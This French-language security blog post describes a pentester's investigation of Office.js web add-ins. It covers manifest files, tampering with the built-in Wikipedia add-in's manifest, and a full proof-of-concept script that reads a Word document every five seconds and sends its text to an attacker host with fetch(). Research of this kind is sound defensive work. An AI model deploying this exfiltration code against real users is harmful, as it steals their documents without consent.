7 octobre 2025

Exploitation des compléments Office.js : retour d’expérience sur une surface d’attaque méconnue

Document Microsoft Office envahi par du code JavaScript symbolisant les failles Office.js
Logo

Il y a quelques semaines, dans le cadre de ses recherches sur les surfaces d’attaque propres aux environnements Microsoft, notre pentester Vincent Fourcade s’est intéressé à l’API Office.js. En explorant les mécanismes des compléments Web dans la suite Office, il a mis au jour plusieurs comportements qui méritent toute notre attention, notamment dans une perspective offensive. Voici le récit de son investigation.

Contexte : la suite Office, cible privilégiée des attaques

Il existe de nombreuses interactions possibles entre de nombreuses technologies et protocoles lorsqu’on parle de Windows et de la suite Office. Celle-ci est souvent la cible d’attaques, de tentative de compromission et d’hameçonnage. Si aujourd’hui les macros ne sont plus exécutées par défaut, par le passé elles constituaient un véhicule efficace pour les attaquants. Nous serions néanmoins peu avisés de considérer nos environnements bureautiques comme sûrs et exempts de vulnérabilité.

En tout état de cause, une masse de logiciels aussi importante, embarquant une multitude d’options et de personnalisations ne sera à l’abri de dysfonctionnement amenant à un problème de sécurité.

Premiers pas avec Office.js et JavaScript

Découverte de l’API Office.js

C’est en travaillant au départ, par simple curiosité, sur JavaScript et ses moultes utilisations (pour rappel JavaScript est aujourd’hui bien plus qu’un simple langage navigateur) que j’ai découvert l’API Office.js. Distribuée par Microsoft, cette API permet entre autres de développer des compléments pour les outils de la suite Office ; Word, Outlook, Excel, OneNote, PowerPoint.

Les deux types de compléments Office

Les compléments sont des extensions permettant d’ajouter des fonctionnalités personnalisées aux applications Office. Il en existe deux types :

  • Les compléments COM (ou « durs ») : Historiquement, ces compléments sont installés localement sur l’ordinateur et s’intègrent directement aux applications via des DLL ou d’autres composants natifs. Ils offrent des performances optimales, mais nécessitent une installation spécifique.
  • Les compléments Web : Plus modernes, ils sont basés sur des technologies web (HTML, CSS, JavaScript) et utilisent l’API Office.js pour interagir avec les applications Office. Hébergés en ligne, ils offrent une plus grande flexibilité et compatibilité multiplateforme, notamment avec Office sur le Web et les versions mobiles.

Ces compléments permettent d’automatiser des tâches, d’intégrer des services tiers et d’améliorer l’expérience utilisateur au sein des outils Office.

Focus sur les compléments Web Office.js

C’est aux compléments Web, et donc à la suite Office.js que nous nous intéresserons dans la suite cet article. Contrairement aux compléments COM traditionnels, ils sont basés sur des technologies Web (HTML, CSS, JavaScript) et utilisent l’API Office.js pour interagir avec les documents et les données de l’utilisateur.

Installation d’un complément Office.js en mode développeur

Chargement manuel via un manifeste XML

  • Chaque complément Web Office est défini par un fichier manifeste XML, qui décrit ses permissions, les applications compatibles et son point d’entrée (généralement une page Web hébergée).
    • Dans Word, Excel ou PowerPoint (client lourd), il est possible de charger un complément personnalisé via :
      • FichierOptionsComplémentsGérer : Compléments OfficeAccéder aux complémentsTélécharger mon complément.
    • Sélectionner ensuite le manifeste XML pour l’installer temporairement.

Le fichier manifest.xml est un élément clé du complément Web. Il contient :

  • L’ID du complément (GUID unique)
  • Le nom et la description
  • Les autorisations et l’accès aux API Office.js
  • La liste des hôtes compatibles (Excel, Word, Outlook, etc.)
  • L’URL du point d’entrée du complément

Exemple de fichier manifest.xml

<?xml version= »1.0″ encoding= »UTF-8″?>

<OfficeApp xmlns= »http://schemas.microsoft.com/office/appforoffice/1.1″

           xmlns:xsi= »http://www.w3.org/2001/XMLSchema-instance » xsi:type= »TaskPaneApp »>

    <Id>12345678-90AB-CDEF-1234-567890ABCDEF</Id>

    <Version>1.0</Version>

    <ProviderName>0rk31in</ProviderName>

    <DefaultLocale>en-US</DefaultLocale>

    <DisplayName>Hacked</DisplayName>

    <Description>La description : ) </Description>

    <Hosts>

        <Host Name= »Workbook »/>

    </Hosts>

    <DefaultSettings>

        <SourceLocation DefaultValue= »https://localhost:3000/index.html »/>

    </DefaultSettings>

    <Permissions>ReadWriteDocument</Permissions>

</OfficeApp>

Compléments installés par défaut dans Office

Microsoft fournit plusieurs compléments intégrés par défaut dans Office, accessibles via l’onglet Compléments. Certains exemples incluent :

  • Wikipédia : Recherche et citation d’informations directement depuis Office.
  • Icons by Noun Project : Permet d’insérer des icônes vectorielles dans les documents.
  • Microsoft Translator : Traduction de texte en temps réel.
  • People Graph : Génération de graphiques interactifs basés sur des données Excel.

Ces compléments sont généralement installés automatiquement mais peuvent être désactivés ou supprimés via les options Office.

Figure 1 – complément par défaut

Une entreprise pourrait également développer un complément et l’installer par défaut sur l’ensemble des postes utilisateurs. Celui-ci serait alors accessible pour chaque membre sujet aux politiques de groupe.

Installer un complément Web avec un compte restreint

Sur un poste avec des droits limités il ne semble pas possible d’installer de complément Web facilement. L’option est désactivée et, s’il apparaît envisageable de jouer avec les registres pour ajouter un « manifest.xml » dans : HKCU:\Software\Microsoft\Office\16.0\WEF\TrustedCatalogs

Force est de constater que cette méthode a échoué dans mon cas.

Analyse et modification d’un manifest.xml existant

Lors de l’analyse d’un fichier XML, il devient vite évident qu’en ce dernier réside l’ensemble des éléments nécessaires à l’ajout d’un complément dans nos outils Office.

En effet, la balise « <SourceLocation DefaultValue= »https://localhost:3000/index.html »/> » détermine l’URL du serveur hébergeant notre complément.

Les balises <hosts> quant à elles déterminent sur quels outils le complément sera effectif (WorkBook pour Excel, Document pour Word…).

Étude de cas : le complément Wikipédia

Le complément Wikipédia étant installé par défaut il est intéressant de rechercher son manifest.xml et de l’analyser. Après investigation, il apparaît que les fichiers relatifs aux compléments Web installés pour un utilisateur dans Office sont stockés ici :

C:\Users\admin\AppData\Local\Microsoft\Office\16.0\Wef\{A59A42A2-8F20-4210-BBF3-4E7513A9A336}\Omex\cW62CjqfKsYKtzaTm7cWmA==

Les noms de fichiers et dossiers sont réécrits à l’installation et le chemin correspond au contexte local.

Il est relativement simple d’identifier le fichier manifeste associé au complément Wikipédia :

Figure 2 – manifest.xml en local pour  Wikipédia

La première constatation est la présence de cette signature, qui d’emblée devrait calmer les ardeurs de toute personne curieuse ayant la volonté d’installer un complément Web d’une manière détournée.

Cependant, il ne coûte rien d’essayer une modification d’un fichier, ce ne serait pas la première fois que nous observerions une signature non vérifiée.

Ici la <SourceLocation a été définie comme , et c’est non sans surprise que nous constatons l’intégration du site d’entreprise au sein de notre complément Web.

Jusqu’où aller avec Office.js ? Quelques limites

Plusieurs questions suivent alors cette constatation :

  • Jusqu’où pouvons-nous aller avec l’API Office ?
  • Ce comportement est-il réalisable avec un compte local standard ? (ici nous sommes admin local)
  • Les compléments sont activables sur l’ensemble des outils, pouvons-nous facilement activer notre complément malveillant sur Outlook (où l’impact en termes de persistance serait bien plus dangereux).

Concernant les deux premières, nous ne pouvons qu’être déçus. Il ne semble pas possible (ou de manière aussi simple) de modifier un « manifest » sans être administrateur local, même sur les compléments de l’utilisateur courant. La signature semble être vérifiée lors de l’appel aux éléments Web.

De plus, si l’API Office offre de nombreuses interactions avec le logiciel courant (Outlook, Word, Excel…) il est impossible de sortir de ce contexte. À l’instar de n’importe quel navigateur, l’exécution du JavaScript est cloisonnée. 

Enfin, il est apparu plus complexe d’activer un complément frauduleux sur Outlook, bien que cela ne semble pas impossible.

Proof of concept : keylogger sur Word via Office.js

Pour illustrer les interactions possibles entre Office.js et Word, le code JavaScript ci-dessous s’exécute comme un petit enregistreur de frappe dans le contexte du fichier Word courant :

    Office.onReady(() => {

    Word.run(async (context) => {

        const doc = context.document;

        const range = doc.getSelection();

        range.insertText(« Hacked ! », « Replace »);

        await context.sync();

        async function sendText(text) {

        console.log(« send text »);

            try {

                await fetch(« https://server.malveillant.com/extract.php », {

                    method: « POST »,

                    headers: { « Content-Type »: « application/x-www-form-urlencoded » },

                    body: « data= » + encodeURIComponent(text),

                });

            } catch (error) {

                console.error(« Erreur d’envoi : », error);

            }

        }

        // Fonction pour récupérer le texte du document

        async function extractText() {

            try {

                const range = doc.body;

                range.load(« text »); // Charger le texte

                await context.sync();

                const extractedText = range.text;

                if (extractedText.trim().length > 0) {

                    await sendText(extractedText);

                }

            } catch (error) {

                console.error(« Erreur d’extraction : », error);

            }

        }

        // Exécuter toutes les 5 secondes

    setInterval(extractText, 5000);

    });

});

L’utilisateur doit ouvrir le complément Wikipédia pour activer le complément malveillant. Une fois celui-ci ouvert, le fichier Word est lu toutes les cinq secondes et son contenu exporté sur le serveur de l’attaquant. Le script PHP du serveur enregistre ensuite ces données dans un fichier « dump.txt ».

Figure 3 le complément malicieux est chargé
Figure 4 – cat sur le fichier dump.txt

Conclusion implicite

Ainsi, cette première approche des compléments Web d’un point de vue « exploitation » laisse légèrement sur notre faim. Cependant, ce n’est qu’un survol rapide des interactions entre outils de la suite Office et JavaScript.

Comme énoncé plus haut, un complément frauduleux installé sur Outlook pourrait être bien plus dévastateur (lecture, envoi de mail…).

Quant aux mécanismes d’installations illégitimes, il ne serait pas surprenant de pouvoir procéder différemment. Via des attaques dites « d’homme du milieu » notamment. Il a été possible durant cette veille ciblée d’intercepter et modifier les flux entre Word et le serveur de Microsoft hébergeant l’API, retournant entre autres choses, les url pointant vers les « manifests ».

Durant cette phase de tests, l’interception du flux d’installation du manifeste s’est révélée impossible. Il ne semble pas que l’opération soit impossible, mais difficilement reproductible en situation d’attaque, c’est évident.

Blog

Nos derniers articles

Cybersécurité

Panorama de la cybermenace 2025 : ce que révèle le rapport de l’ANSSI sur l’état de la menace en France

L’ANSSI a publié le 11 mars 2026 son Panorama de la cybermenace 2025. Comme chaque année, ce rapport constitue la référence pour comprendre l’évolution des menaces qui pèsent sur les organisations françaises. Et cette édition ne rassure pas.

23 mars 2026

Cybersécurité

Cybersécurité du mainframe : pourquoi et comment sécuriser le cœur de vos systèmes d’information

Souvent perçu comme une relique technologique, le mainframe reste pourtant l’épine dorsale des organisations les plus critiques au monde. Banques, assurances, industries, administrations : ces systèmes traitent chaque jour des milliards de transactions et concentrent les données les plus sensibles. Pourtant, leur sécurité est rarement auditée avec la rigueur qu’ils méritent. Décryptage d’un angle mort majeur de la cybersécurité.

20 mars 2026

Cybersécurité

Cybersécurité des ETI : comment passer du réflexe défensif à une stratégie structurée

En 2025, 34 % des ETI ont subi au moins une cyberattaque significative. Le chiffre peut sembler modéré en comparaison des grandes entreprises (50 %), mais il masque une réalité plus brutale : parmi les organisations touchées, 81 % ont constaté un impact direct sur leur activité – perturbation de la production, perte d’image, compromission de données stratégiques ou perte de chiffre d’affaires (sondage OpinionWay pour CESIN, janvier 2026).

10 mars 2026

informations

Contactez-nous

Une question ou un projet en tête ? Remplissez le formulaire, nous reviendrons vers vous rapidement pour un premier échange.

    *Informations obligatoires

    Les informations recueillies à partir de ce formulaire sont traitées par Digitemis pour donner suite à votre demande de contact. Pour connaître et/ou exercer vos droits, référez-vous à la politique de Digitemis sur la protection des données, cliquez ici.

    Index